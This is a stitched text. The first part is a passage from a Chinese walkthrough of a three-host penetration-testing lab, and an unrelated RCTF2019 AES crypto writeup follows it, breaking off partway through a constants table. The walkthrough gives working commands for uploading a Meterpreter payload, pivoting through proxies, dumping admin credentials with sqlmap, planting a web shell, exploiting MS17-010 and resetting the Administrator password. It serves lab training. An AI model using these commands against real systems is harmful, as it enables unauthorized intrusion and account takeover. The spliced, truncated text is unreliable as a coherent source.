3、通过蚁剑将shell.elf文件上传到Target1中，并赋予777权限以执行
(www:/www/wwwroot/ThinkPHP/public) $ chmod 777 shell.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./shell.elf
4、此时MSF获取到shell，通过meterpreter添加第二层的路由
run autoroute -s 192.168.22.0/24
run autoroute -p
这一步也可以使用run post/multi/manage/autoroute自动添加路由
5、在MSF中添加代理，以便让攻击机访问靶机2，经过多次测试，发现MSF使用socks5代理总是失败，因此这里还是采用了socks4
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options
msf5 auxiliary(server/socks4a) > run
6、修改proxychains-ng的配置文件，这里也可以使用proxychains进行代理，不过前者是后者的升级版，因此这里使用proxychains-ng进行代理
root@kali:~# vim /etc/proxychains.conf
加入以下内容：
socks4 192.168.1.113 2222
7、尝试扫描靶机2，该步骤如果一直提示超时，可以把MSF退出再重新配置
root@kali:~# proxychains4 nmap -Pn -sT 192.168.22.22
-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT：扫描TCP数据包已建立的连接connect
## 0x03 Target2
### a、获取shell
1、上一步发现存在80端口，因此我们设置好浏览器代理后，打开看看
2、拿到站点后，经过简单的信息收集，不难找到robots.txt文件中隐藏的后台地址以及主页源码中给的提示
3、目前为止，步骤就很鲜明了，利用SQL注入找到后台管理员账号密码，那就用sqlmap开整吧
root@kali:~# proxychains4 sqlmap -u
“http://192.168.22.22/index.php?r=vul&keyword=1” -p keyword
4、已经发现了此站点的数据库为MySQL，使用的Nginx和php，接下来找库
root@kali:~# proxychains4 sqlmap -u
“http://192.168.22.22/index.php?r=vul&keyword=1” -p keyword –dbs
5、看看bagecms下有哪些表
root@kali:~# proxychains4 sqlmap -u
“http://192.168.22.22/index.php?r=vul&keyword=1” -p keyword -D bagecms –tables
6、看一下bage_admin下的内容
root@kali:~# proxychains4 sqlmap -u
“http://192.168.22.22/index.php?r=vul&keyword=1” -p keyword -D bagecms -T
bage_admin –columns
7、username、password自然是最感兴趣的啦，给它dump下来，在dump的过程中sqlmap会有一些提示，一路yes就行
root@kali:~# proxychains4 sqlmap -u
“http://192.168.22.22/index.php?r=vul&keyword=1” -p keyword -D bagecms -T
bage_admin -C username,password –dump
8、找到我们想要的了，登陆后台，看看有哪些功能
9、后台里面有文件上传的地方，有编辑主页文件的地方，为了方便，我们直接把一句话写入网站文件中
10、来到标签页，可以看到一句话生效了，接下里在SocksCap中打开蚁剑，利用蚁剑连接，注意SocksCap设置好代理
### b、设置代理
1、蚁剑中可以看到这是一个64位的linux系统，据此信息在MSF中生成后门
root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf >
shell2.elf
2、利用蚁剑将shell2.elf上传到Target2并开启监听
(www:/www/wwwroot/upload) $ chmod 777 shell2.elf
(www:/www/wwwroot/upload) $ ./shell2.elf
3、在MSF中开启EXP，与Target2建立连接，这里需要注意，上一次代理使用的reversetcp是MSF作为监听，让Target1连到我们，而这次代理使用的bindtcp是Target2作为监听，我们需要连到Target2，这个逻辑正好是相反的。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 4321
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
4、与之前一样，我们添加Target3的路由，这里就不用设置代理了，直接添加路由即可
run autoroute -s 192.168.33.0/24
run autoroute -p
5、尝试扫描Target3
root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
## 0x03 Target3
### a、获取shell
1、从扫描的结果来看，不难看出这是一个开放着445、3389端口的Windows系统，那就先用永恒之蓝攻击试试
msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set payload
windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.33
msf5 exploit(windows/smb/ms17_010_psexec) > options
msf5 exploit(windows/smb/ms17_010_psexec) > run
2、查看账户，直接修改账户密码，利用3389连接，注意要在SocksCap中运行连接远程桌面程序
meterpreter > shell
C:\Windows\system32>net user
C:\Windows\system32>net user Administrator 123
## 0x04 总结
到目前为止，三台靶机都已经拿下，这里推荐读者能够自己亲手尝试，找到里面的flag，其中所有flag的找寻方式，会在我的公众号“TeamsSix”推送，这里只讲述拿下三台靶机的方法。
这次的练习耗费了自己的大量时间，从靶场搭建到获取到第三层靶机的shell，这其中碰到的一些问题及我自己踩过的一些坑记录在下面：
1、蚁剑中查看一些文件会提示权限不足，在meterpreter中可以正常查看
2、蚁剑中在Target2里执行命令或者查看文件时不时会失败，初步判断是因为本地网络代理的原因，多试几次就行，总有一次是成功的
3、MSF中Socks5代理模块使用总是失败，Socks4a模块使用成功 4、MSF中建立的会话总是自动断开，将会话连接的靶机上的防火墙关闭即可
5、MSF中ms17010eternalblue模块利用总是失败，ms17010psexec模块使用成功
6、meterpreter中查看文件的路径和Windows下文件的路径里的“/”是相反的
7、meterpreter中上传文件大小貌似有限制，文件上传到8M左右就会提示失败，因此需要将文件压缩成多个小文件进行上传，同时上传7-zip工具（该工具只有1M大小），再利用7-zip对其解压即可，当然此方法仅适用于Windows，linux上的方法可以自行谷歌
参考文章：
http://zerlong.com/512.html
https://www.anquanke.com/post/id/170649
https://www.anquanke.com/post/id/164525
https://blog.csdn.net/qq_36711453/article/details/84977739
这些文章在很大程度上帮助了我这个菜鸟，在这里向以上文章的作者表示感谢。 | 社区文章 |
# RCTF2019 baby_AES 题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上周末玩了RCTF，可能为了防止冠军AK题目比*CTF难不少，下面是一道密码的题解。
## 题目内容
只给了一个 `crypto.py`:
#!/usr/bin/python3 -u
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import binascii
import os
import sys
import copy
import struct
rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
S = [0x93 ,0x43 ,0x5D ,0x6E ,0x9E ,0xE6 ,0x02 ,0x3D ,0x48 ,0x65 ,0x9C ,0x39 ,0xEA ,0x1C ,0x5F ,0x01 ,0x26 ,0x9F ,0x2B ,0xEC ,0x6D ,0xB5 ,0x8D ,0x84 ,0x7F ,0xF1 ,0xC5 ,0x82 ,0x4B ,0x00 ,0x55 ,0xE3 ,0xC2 ,0xB2 ,0x63 ,0x8F ,0x41 ,0xA3 ,0x2F ,0x4D ,0x92 ,0x08 ,0x8B ,0x4F ,0x09 ,0x36 ,0xFC ,0x16 ,0x33 ,0x78 ,0x7B ,0x76 ,0x35 ,0x13 ,0x73 ,0x6B ,0x05 ,0xC3 ,0x2A ,0x7E ,0xEF ,0x37 ,0x22 ,0x4E ,0xED ,0xBA ,0x3A ,0x74 ,0xCC ,0xB1 ,0x2D ,0x59 ,0x10 ,0x23 ,0xA0 ,0x7D ,0xDA ,0x0F ,0x3F ,0x3E ,0xE9 ,0x4C ,0xD4 ,0x11 ,0x66 ,0xA1 ,0x90 ,0x28 ,0xFA ,0xC4 ,0xD5 ,0xDF ,0x60 ,0x18 ,0x32 ,0x68 ,0xF7 ,0x24 ,0x94 ,0x0B ,0xF9 ,0xF6 ,0x95 ,0xB9 ,0xCF ,0x9A ,0x29 ,0x25 ,0x31 ,0x7C ,0x64 ,0xCB ,0x5A ,0x0C ,0x77 ,0x71 ,0x12 ,0x30 ,0xCE ,0x86 ,0xA4 ,0x42 ,0x72 ,0x5E ,0xCA ,0xFB ,0x19 ,0x6A ,0x27 ,0xF0 ,0x8C ,0xF3 ,0x5B ,0xB8 ,0x45 ,0x56 ,0x50 ,0x61 ,0xBF ,0xC7 ,0xDC ,0xD7 ,0x67 ,0x75 ,0xB0 ,0x54 ,0xE2 ,0x15 ,0x57 ,0x1D ,0xBC ,0x1E ,0x2C ,0x80 ,0xF5 ,0x91 ,0xF4 ,0x2E ,0xC9 ,0xEE ,0xFD ,0xBB ,0xD3 ,0x44 ,0x34 ,0xE0 ,0xE8 ,0x07 ,0x5C ,0xB6 ,0x06 ,0x0D ,0x6F ,0xDB ,0xBD ,0xFF ,0xAB ,0x9D ,0x20 ,0xA8 ,0x88 ,0x6C ,0xC8 ,0xBE ,0xE5 ,0xA5 ,0x14 ,0xD0 ,0x8A ,0x1B ,0x9B ,0x40 ,0x81 ,0xE1 ,0x1A ,0xD1 ,0x89 ,0xD8 ,0xB4 ,0xFE ,0xC0 ,0xEB ,0x1F ,0x79 ,0x62 ,0xE7 ,0x98 ,0xAA ,0xF8 ,0x87 ,0x51 ,0xD6 ,0x70 ,0x58 ,0xA6 ,0x96 ,0x83 ,0xA9 ,0x85 ,0x8E ,0x99 ,0xA2 ,0x21 ,0x17 ,0x38 ,0xAD ,0x0E ,0x53 ,0x46 ,0xB3 ,0x49 ,0x69 ,0x52 ,0xD2 ,0x4A ,0xC1 ,0xB7 ,0xD9 ,0xC6 ,0x03 ,0xF2 ,0xA7 ,0xE4 ,0xAE ,0xAC ,0x04 ,0xDD ,0x3B ,0x47 ,0x3C ,0x0A ,0x97 ,0xAF ,0xDE ,0x7A ,0xCD ,]
T1 = [0xF467D4E9 ,0x2E6DD254 ,0xDE838832 ,0x5D3311CD ,0x9C02F7D0 ,0x71978453 ,0x10120E0A ,0xF3CEB3C9 ,0x763EE373 ,0x056020EA ,0x8C10F9DA ,0xD3EAAFDD ,0x11FBA06F ,0xE0FC546C ,0xCE918638 ,0x08090705 ,0x2B0DF2BE ,0x940BF0D5 ,0x4368D187 ,0x21CDB271 ,0x452818C2 ,0xDF6A2657 ,0x04898E8F ,0x4CC8B1A2 ,0xD5AA6698 ,0xC938E118 ,0x72B76DFC ,0x7CFEA3BC ,0x6E25EA7C ,0x00000000 ,0x9ECBB01A ,0x59BA9F42 ,0x4A8878E7 ,0xE755334C ,0x355632F4 ,0x149B8085 ,0x3E7FDC5E ,0x6FCC4419 ,0x634CCD93 ,0x5E13F862 ,0xFC6ED3EC ,0x40483828 ,0x34BF9C91 ,0x4E01F668 ,0x48413F2D ,0xAB9D82EE ,0xA15DC221 ,0xB0A6624E ,0x83B099FF ,0xED957383 ,0xF58E7A8C ,0x9DEB59B5 ,0xB3868BE1 ,0x988B795F ,0xB5C642A4 ,0x751E0ADC ,0x282D1B11 ,0x42817FE2 ,0x4B61D682 ,0xDDA3619D ,0x39D6BB7E ,0xA39485EB ,0x0B29EEAA ,0x4608F16D ,0x29C4B574 ,0xA71D0B64 ,0xCBF1A6D2 ,0x8DF957BF ,0x3AF652D1 ,0xFF4E3A43 ,0x735EC399 ,0xFEA79426 ,0x80907050 ,0x0320E9AF ,0x77D74D16 ,0xC5B86892 ,0x8A50309F ,0x78772D33 ,0xE3DCBDC3 ,0xEBD5BAC6 ,0x09E0A960 ,0x561AFF67 ,0xFA2E1AA9 ,0x88997755 ,0x1D7B29E5 ,0x7FDE4A13 ,0xEC7CDDE6 ,0x5B73D888 ,0x916BD03F ,0x7ABE6AF9 ,0xF2271DAC ,0xA27D2B8E ,0x2D4D3BFB ,0xC0D84878 ,0x8BB99EFA ,0x6D0503D3 ,0xF90EF306 ,0x3B1FFCB4 ,0xCC58C1F2 ,0x58533127 ,0x8970D930 ,0xF107F403 ,0xC451C6F7 ,0xBF06026B ,0x22ED5BDE ,0xBC26EBC4 ,0x537ADF8D ,0x3316FBB1 ,0x93A297F5 ,0xCDB16F97 ,0x0D6927EF ,0x02C947CA ,0xE6BC9D29 ,0x606C243C ,0x95E25EB0 ,0xA5D44CAE ,0x90827E5A ,0x9BAB90F0 ,0x2AE45CDB ,0x5CDABFA8 ,0x57F35102 ,0x2664D551 ,0xBDCF45A1 ,0xC698813D ,0x0AC040CF ,0x9962D73A ,0xC8D14F7D ,0x7D170DD9 ,0x2304F5BB ,0xC131E61D ,0x0C80898A ,0xD92AEF12 ,0xEEB59A2C ,0xB70F056E ,0x1E5BC04A ,0x86D0B915 ,0xB6E6AB0B ,0x25443CFE ,0x8F301075 ,0x62A563F6 ,0xBA662281 ,0xE23513A6 ,0x15722EE0 ,0x85F050BA ,0xF7473D46 ,0x96C2B71F ,0x51B39847 ,0xA8BD6B41 ,0x8ED9BE10 ,0xE8F55369 ,0x972B197A ,0xF0EE5A66 ,0x7B57C49C ,0x6CECADB6 ,0xE91CFD0C ,0xE475DAE3 ,0xE115FA09 ,0x6B45CA96 ,0x12DB49C0 ,0x31DFBC7B ,0xA954C524 ,0xAF140C61 ,0xC2110FB2 ,0x1652C74F ,0xBB8F8CE4 ,0x41A1964D ,0x01E9AE65 ,0x383F151B ,0xD68A8F37 ,0xC7712F58 ,0x3036121E ,0x68652339 ,0x553A16C8 ,0x8259379A ,0x9F221E7F ,0xB946CB2E ,0x2F847C31 ,0x8419FEDF ,0x1B3BE0A0 ,0x379F753E ,0x2CA4959E ,0x4D211FC7 ,0x1AD24EC5 ,0x87391770 ,0x698C8D5C ,0x5FFA5607 ,0xA0B46C44 ,0xDA0A06BD ,0x3CB69B94 ,0xD8C34177 ,0xB42FECC1 ,0x3676DB5B ,0x64E5AAB3 ,0x49A89148 ,0xD0CA4672 ,0xD20301B8 ,0x24AD929B ,0x9A423E95 ,0xD7632152 ,0xB14FCC2B ,0x5A9A76ED ,0x19F2A76A ,0xF8E75D63 ,0xE59C7486 ,0x3D5F35F1 ,0x799E8356 ,0xAC34E5CE ,0x278D7B34 ,0x8179DE35 ,0x54D3B8AD ,0xBEEFAC0E ,0xEA3C14A3 ,0xADDD4BAB ,0xF6AE9323 ,0x47E15F08 ,0xDC4ACFF8 ,0x74F7A4B9 ,0x3F96723B ,0x44C1B6A7 ,0x1C928780 ,0xA43DE2CB ,0x67C5431C ,0x1332E7A5 ,0xB8AF654B ,0xDBE3A8D8 ,0x1FB26E2F ,0x707E2A36 ,0xAEFDA204 ,0x0640C945 ,0xEF5C3449 ,0x7E37E476 ,0x650C04D6 ,0xA6F4A501 ,0xCA1808B7 ,0x662CED79 ,0x529371E8 ,0xCF78285D ,0x924B3990 ,0x6AAC64F3 ,0x181B090F ,0xD123E817 ,0x4FE8580D ,0x61858A59 ,0x07A96720 ,0x17BB692A ,0x20241C14 ,0xB26F2584 ,0xC3F8A1D7 ,0x0E49CE40 ,0xFBC7B4CC ,0x505A3622 ,0xD443C8FD ,0x0FA06025 ,0xAA742C8B ,0xFD877D89 ,0x32FF55D4 ,]
T2 = [0xE9F467D4 ,0x542E6DD2 ,0x32DE8388 ,0xCD5D3311 ,0xD09C02F7 ,0x53719784 ,0x0A10120E ,0xC9F3CEB3 ,0x73763EE3 ,0xEA056020 ,0xDA8C10F9 ,0xDDD3EAAF ,0x6F11FBA0 ,0x6CE0FC54 ,0x38CE9186 ,0x05080907 ,0xBE2B0DF2 ,0xD5940BF0 ,0x874368D1 ,0x7121CDB2 ,0xC2452818 ,0x57DF6A26 ,0x8F04898E ,0xA24CC8B1 ,0x98D5AA66 ,0x18C938E1 ,0xFC72B76D ,0xBC7CFEA3 ,0x7C6E25EA ,0x00000000 ,0x1A9ECBB0 ,0x4259BA9F ,0xE74A8878 ,0x4CE75533 ,0xF4355632 ,0x85149B80 ,0x5E3E7FDC ,0x196FCC44 ,0x93634CCD ,0x625E13F8 ,0xECFC6ED3 ,0x28404838 ,0x9134BF9C ,0x684E01F6 ,0x2D48413F ,0xEEAB9D82 ,0x21A15DC2 ,0x4EB0A662 ,0xFF83B099 ,0x83ED9573 ,0x8CF58E7A ,0xB59DEB59 ,0xE1B3868B ,0x5F988B79 ,0xA4B5C642 ,0xDC751E0A ,0x11282D1B ,0xE242817F ,0x824B61D6 ,0x9DDDA361 ,0x7E39D6BB ,0xEBA39485 ,0xAA0B29EE ,0x6D4608F1 ,0x7429C4B5 ,0x64A71D0B ,0xD2CBF1A6 ,0xBF8DF957 ,0xD13AF652 ,0x43FF4E3A ,0x99735EC3 ,0x26FEA794 ,0x50809070 ,0xAF0320E9 ,0x1677D74D ,0x92C5B868 ,0x9F8A5030 ,0x3378772D ,0xC3E3DCBD ,0xC6EBD5BA ,0x6009E0A9 ,0x67561AFF ,0xA9FA2E1A ,0x55889977 ,0xE51D7B29 ,0x137FDE4A ,0xE6EC7CDD ,0x885B73D8 ,0x3F916BD0 ,0xF97ABE6A ,0xACF2271D ,0x8EA27D2B ,0xFB2D4D3B ,0x78C0D848 ,0xFA8BB99E ,0xD36D0503 ,0x06F90EF3 ,0xB43B1FFC ,0xF2CC58C1 ,0x27585331 ,0x308970D9 ,0x03F107F4 ,0xF7C451C6 ,0x6BBF0602 ,0xDE22ED5B ,0xC4BC26EB ,0x8D537ADF ,0xB13316FB ,0xF593A297 ,0x97CDB16F ,0xEF0D6927 ,0xCA02C947 ,0x29E6BC9D ,0x3C606C24 ,0xB095E25E ,0xAEA5D44C ,0x5A90827E ,0xF09BAB90 ,0xDB2AE45C ,0xA85CDABF ,0x0257F351 ,0x512664D5 ,0xA1BDCF45 ,0x3DC69881 ,0xCF0AC040 ,0x3A9962D7 ,0x7DC8D14F ,0xD97D170D ,0xBB2304F5 ,0x1DC131E6 ,0x8A0C8089 ,0x12D92AEF ,0x2CEEB59A ,0x6EB70F05 ,0x4A1E5BC0 ,0x1586D0B9 ,0x0BB6E6AB ,0xFE25443C ,0x758F3010 ,0xF662A563 ,0x81BA6622 ,0xA6E23513 ,0xE015722E ,0xBA85F050 ,0x46F7473D ,0x1F96C2B7 ,0x4751B398 ,0x41A8BD6B ,0x108ED9BE ,0x69E8F553 ,0x7A972B19 ,0x66F0EE5A ,0x9C7B57C4 ,0xB66CECAD ,0x0CE91CFD ,0xE3E475DA ,0x09E115FA ,0x966B45CA ,0xC012DB49 ,0x7B31DFBC ,0x24A954C5 ,0x61AF140C ,0xB2C2110F ,0x4F1652C7 ,0xE4BB8F8C ,0x4D41A196 ,0x6501E9AE ,0x1B383F15 ,0x37D68A8F ,0x58C7712F ,0x1E303612 ,0x39686523 ,0xC8553A16 ,0x9A825937 ,0x7F9F221E ,0x2EB946CB ,0x312F847C ,0xDF8419FE ,0xA01B3BE0 ,0x3E379F75 ,0x9E2CA495 ,0xC74D211F ,0xC51AD24E ,0x70873917 ,0x5C698C8D ,0x075FFA56 ,0x44A0B46C ,0xBDDA0A06 ,0x943CB69B ,0x77D8C341 ,0xC1B42FEC ,0x5B3676DB ,0xB364E5AA ,0x4849A891 ,0x72D0CA46 ,0xB8D20301 ,0x9B24AD92 ,0x959A423E ,0x52D76321 ,0x2BB14FCC ,0xED5A9A76 ,0x6A19F2A7 ,0x63F8E75D ,0x86E59C74 ,0xF13D5F35 ,0x56799E83 ,0xCEAC34E5 ,0x34278D7B ,0x358179DE ,0xAD54D3B8 ,0x0EBEEFAC ,0xA3EA3C14 ,0xABADDD4B ,0x23F6AE93 ,0x0847E15F ,0xF8DC4ACF ,0xB974F7A4 ,0x3B3F9672 ,0xA744C1B6 ,0x801C9287 ,0xCBA43DE2 ,0x1C67C543 ,0xA51332E7 ,0x4BB8AF65 ,0xD8DBE3A8 ,0x2F1FB26E ,0x36707E2A ,0x04AEFDA2 ,0x450640C9 ,0x49EF5C34 ,0x767E37E4 ,0xD6650C04 ,0x01A6F4A5 ,0xB7CA1808 ,0x79662CED ,0xE8529371 ,0x5DCF7828 ,0x90924B39 ,0xF36AAC64 ,0x0F181B09 ,0x17D123E8 ,0x0D4FE858 ,0x5961858A ,0x2007A967 ,0x2A17BB69 ,0x1420241C ,0x84B26F25 ,0xD7C3F8A1 ,0x400E49CE ,0xCCFBC7B4 ,0x22505A36 ,0xFDD443C8 ,0x250FA060 ,0x8BAA742C ,0x89FD877D ,0xD432FF55 ,]
T3 = [0xD4E9F467 ,0xD2542E6D ,0x8832DE83 ,0x11CD5D33 ,0xF7D09C02 ,0x84537197 ,0x0E0A1012 ,0xB3C9F3CE ,0xE373763E ,0x20EA0560 ,0xF9DA8C10 ,0xAFDDD3EA ,0xA06F11FB ,0x546CE0FC ,0x8638CE91 ,0x07050809 ,0xF2BE2B0D ,0xF0D5940B ,0xD1874368 ,0xB27121CD ,0x18C24528 ,0x2657DF6A ,0x8E8F0489 ,0xB1A24CC8 ,0x6698D5AA ,0xE118C938 ,0x6DFC72B7 ,0xA3BC7CFE ,0xEA7C6E25 ,0x00000000 ,0xB01A9ECB ,0x9F4259BA ,0x78E74A88 ,0x334CE755 ,0x32F43556 ,0x8085149B ,0xDC5E3E7F ,0x44196FCC ,0xCD93634C ,0xF8625E13 ,0xD3ECFC6E ,0x38284048 ,0x9C9134BF ,0xF6684E01 ,0x3F2D4841 ,0x82EEAB9D ,0xC221A15D ,0x624EB0A6 ,0x99FF83B0 ,0x7383ED95 ,0x7A8CF58E ,0x59B59DEB ,0x8BE1B386 ,0x795F988B ,0x42A4B5C6 ,0x0ADC751E ,0x1B11282D ,0x7FE24281 ,0xD6824B61 ,0x619DDDA3 ,0xBB7E39D6 ,0x85EBA394 ,0xEEAA0B29 ,0xF16D4608 ,0xB57429C4 ,0x0B64A71D ,0xA6D2CBF1 ,0x57BF8DF9 ,0x52D13AF6 ,0x3A43FF4E ,0xC399735E ,0x9426FEA7 ,0x70508090 ,0xE9AF0320 ,0x4D1677D7 ,0x6892C5B8 ,0x309F8A50 ,0x2D337877 ,0xBDC3E3DC ,0xBAC6EBD5 ,0xA96009E0 ,0xFF67561A ,0x1AA9FA2E ,0x77558899 ,0x29E51D7B ,0x4A137FDE ,0xDDE6EC7C ,0xD8885B73 ,0xD03F916B ,0x6AF97ABE ,0x1DACF227 ,0x2B8EA27D ,0x3BFB2D4D ,0x4878C0D8 ,0x9EFA8BB9 ,0x03D36D05 ,0xF306F90E ,0xFCB43B1F ,0xC1F2CC58 ,0x31275853 ,0xD9308970 ,0xF403F107 ,0xC6F7C451 ,0x026BBF06 ,0x5BDE22ED ,0xEBC4BC26 ,0xDF8D537A ,0xFBB13316 ,0x97F593A2 ,0x6F97CDB1 ,0x27EF0D69 ,0x47CA02C9 ,0x9D29E6BC ,0x243C606C ,0x5EB095E2 ,0x4CAEA5D4 ,0x7E5A9082 ,0x90F09BAB ,0x5CDB2AE4 ,0xBFA85CDA ,0x510257F3 ,0xD5512664 ,0x45A1BDCF ,0x813DC698 ,0x40CF0AC0 ,0xD73A9962 ,0x4F7DC8D1 ,0x0DD97D17 ,0xF5BB2304 ,0xE61DC131 ,0x898A0C80 ,0xEF12D92A ,0x9A2CEEB5 ,0x056EB70F ,0xC04A1E5B ,0xB91586D0 ,0xAB0BB6E6 ,0x3CFE2544 ,0x10758F30 ,0x63F662A5 ,0x2281BA66 ,0x13A6E235 ,0x2EE01572 ,0x50BA85F0 ,0x3D46F747 ,0xB71F96C2 ,0x984751B3 ,0x6B41A8BD ,0xBE108ED9 ,0x5369E8F5 ,0x197A972B ,0x5A66F0EE ,0xC49C7B57 ,0xADB66CEC ,0xFD0CE91C ,0xDAE3E475 ,0xFA09E115 ,0xCA966B45 ,0x49C012DB ,0xBC7B31DF ,0xC524A954 ,0x0C61AF14 ,0x0FB2C211 ,0xC74F1652 ,0x8CE4BB8F ,0x964D41A1 ,0xAE6501E9 ,0x151B383F ,0x8F37D68A ,0x2F58C771 ,0x121E3036 ,0x23396865 ,0x16C8553A ,0x379A8259 ,0x1E7F9F22 ,0xCB2EB946 ,0x7C312F84 ,0xFEDF8419 ,0xE0A01B3B ,0x753E379F ,0x959E2CA4 ,0x1FC74D21 ,0x4EC51AD2 ,0x17708739 ,0x8D5C698C ,0x56075FFA ,0x6C44A0B4 ,0x06BDDA0A ,0x9B943CB6 ,0x4177D8C3 ,0xECC1B42F ,0xDB5B3676 ,0xAAB364E5 ,0x914849A8 ,0x4672D0CA ,0x01B8D203 ,0x929B24AD ,0x3E959A42 ,0x2152D763 ,0xCC2BB14F ,0x76ED5A9A ,0xA76A19F2 ,0x5D63F8E7 ,0x7486E59C ,0x35F13D5F ,0x8356799E ,0xE5CEAC34 ,0x7B34278D ,0xDE358179 ,0xB8AD54D3 ,0xAC0EBEEF ,0x14A3EA3C ,0x4BABADDD ,0x9323F6AE ,0x5F0847E1 ,0xCFF8DC4A ,0xA4B974F7 ,0x723B3F96 ,0xB6A744C1 ,0x87801C92 ,0xE2CBA43D ,0x431C67C5 ,0xE7A51332 ,0x654BB8AF ,0xA8D8DBE3 ,0x6E2F1FB2 ,0x2A36707E ,0xA204AEFD ,0xC9450640 ,0x3449EF5C ,0xE4767E37 ,0x04D6650C ,0xA501A6F4 ,0x08B7CA18 ,0xED79662C ,0x71E85293 ,0x285DCF78 ,0x3990924B ,0x64F36AAC ,0x090F181B ,0xE817D123 ,0x580D4FE8 ,0x8A596185 ,0x672007A9 ,0x692A17BB ,0x1C142024 ,0x2584B26F ,0xA1D7C3F8 ,0xCE400E49 ,0xB4CCFBC7 ,0x3622505A ,0xC8FDD443 ,0x60250FA0 ,0x2C8BAA74 ,0x7D89FD87 ,0x55D432FF ,]
T4 = [0x67D4E9F4 ,0x6DD2542E ,0x838832DE ,0x3311CD5D ,0x02F7D09C ,0x97845371 ,0x120E0A10 ,0xCEB3C9F3 ,0x3EE37376 ,0x6020EA05 ,0x10F9DA8C ,0xEAAFDDD3 ,0xFBA06F11 ,0xFC546CE0 ,0x918638CE ,0x09070508 ,0x0DF2BE2B ,0x0BF0D594 ,0x68D18743 ,0xCDB27121 ,0x2818C245 ,0x6A2657DF ,0x898E8F04 ,0xC8B1A24C ,0xAA6698D5 ,0x38E118C9 ,0xB76DFC72 ,0xFEA3BC7C ,0x25EA7C6E ,0x00000000 ,0xCBB01A9E ,0xBA9F4259 ,0x8878E74A ,0x55334CE7 ,0x5632F435 ,0x9B808514 ,0x7FDC5E3E ,0xCC44196F ,0x4CCD9363 ,0x13F8625E ,0x6ED3ECFC ,0x48382840 ,0xBF9C9134 ,0x01F6684E ,0x413F2D48 ,0x9D82EEAB ,0x5DC221A1 ,0xA6624EB0 ,0xB099FF83 ,0x957383ED ,0x8E7A8CF5 ,0xEB59B59D ,0x868BE1B3 ,0x8B795F98 ,0xC642A4B5 ,0x1E0ADC75 ,0x2D1B1128 ,0x817FE242 ,0x61D6824B ,0xA3619DDD ,0xD6BB7E39 ,0x9485EBA3 ,0x29EEAA0B ,0x08F16D46 ,0xC4B57429 ,0x1D0B64A7 ,0xF1A6D2CB ,0xF957BF8D ,0xF652D13A ,0x4E3A43FF ,0x5EC39973 ,0xA79426FE ,0x90705080 ,0x20E9AF03 ,0xD74D1677 ,0xB86892C5 ,0x50309F8A ,0x772D3378 ,0xDCBDC3E3 ,0xD5BAC6EB ,0xE0A96009 ,0x1AFF6756 ,0x2E1AA9FA ,0x99775588 ,0x7B29E51D ,0xDE4A137F ,0x7CDDE6EC ,0x73D8885B ,0x6BD03F91 ,0xBE6AF97A ,0x271DACF2 ,0x7D2B8EA2 ,0x4D3BFB2D ,0xD84878C0 ,0xB99EFA8B ,0x0503D36D ,0x0EF306F9 ,0x1FFCB43B ,0x58C1F2CC ,0x53312758 ,0x70D93089 ,0x07F403F1 ,0x51C6F7C4 ,0x06026BBF ,0xED5BDE22 ,0x26EBC4BC ,0x7ADF8D53 ,0x16FBB133 ,0xA297F593 ,0xB16F97CD ,0x6927EF0D ,0xC947CA02 ,0xBC9D29E6 ,0x6C243C60 ,0xE25EB095 ,0xD44CAEA5 ,0x827E5A90 ,0xAB90F09B ,0xE45CDB2A ,0xDABFA85C ,0xF3510257 ,0x64D55126 ,0xCF45A1BD ,0x98813DC6 ,0xC040CF0A ,0x62D73A99 ,0xD14F7DC8 ,0x170DD97D ,0x04F5BB23 ,0x31E61DC1 ,0x80898A0C ,0x2AEF12D9 ,0xB59A2CEE ,0x0F056EB7 ,0x5BC04A1E ,0xD0B91586 ,0xE6AB0BB6 ,0x443CFE25 ,0x3010758F ,0xA563F662 ,0x662281BA ,0x3513A6E2 ,0x722EE015 ,0xF050BA85 ,0x473D46F7 ,0xC2B71F96 ,0xB3984751 ,0xBD6B41A8 ,0xD9BE108E ,0xF55369E8 ,0x2B197A97 ,0xEE5A66F0 ,0x57C49C7B ,0xECADB66C ,0x1CFD0CE9 ,0x75DAE3E4 ,0x15FA09E1 ,0x45CA966B ,0xDB49C012 ,0xDFBC7B31 ,0x54C524A9 ,0x140C61AF ,0x110FB2C2 ,0x52C74F16 ,0x8F8CE4BB ,0xA1964D41 ,0xE9AE6501 ,0x3F151B38 ,0x8A8F37D6 ,0x712F58C7 ,0x36121E30 ,0x65233968 ,0x3A16C855 ,0x59379A82 ,0x221E7F9F ,0x46CB2EB9 ,0x847C312F ,0x19FEDF84 ,0x3BE0A01B ,0x9F753E37 ,0xA4959E2C ,0x211FC74D ,0xD24EC51A ,0x39177087 ,0x8C8D5C69 ,0xFA56075F ,0xB46C44A0 ,0x0A06BDDA ,0xB69B943C ,0xC34177D8 ,0x2FECC1B4 ,0x76DB5B36 ,0xE5AAB364 ,0xA8914849 ,0xCA4672D0 ,0x0301B8D2 ,0xAD929B24 ,0x423E959A ,0x632152D7 ,0x4FCC2BB1 ,0x9A76ED5A ,0xF2A76A19 ,0xE75D63F8 ,0x9C7486E5 ,0x5F35F13D ,0x9E835679 ,0x34E5CEAC ,0x8D7B3427 ,0x79DE3581 ,0xD3B8AD54 ,0xEFAC0EBE ,0x3C14A3EA ,0xDD4BABAD ,0xAE9323F6 ,0xE15F0847 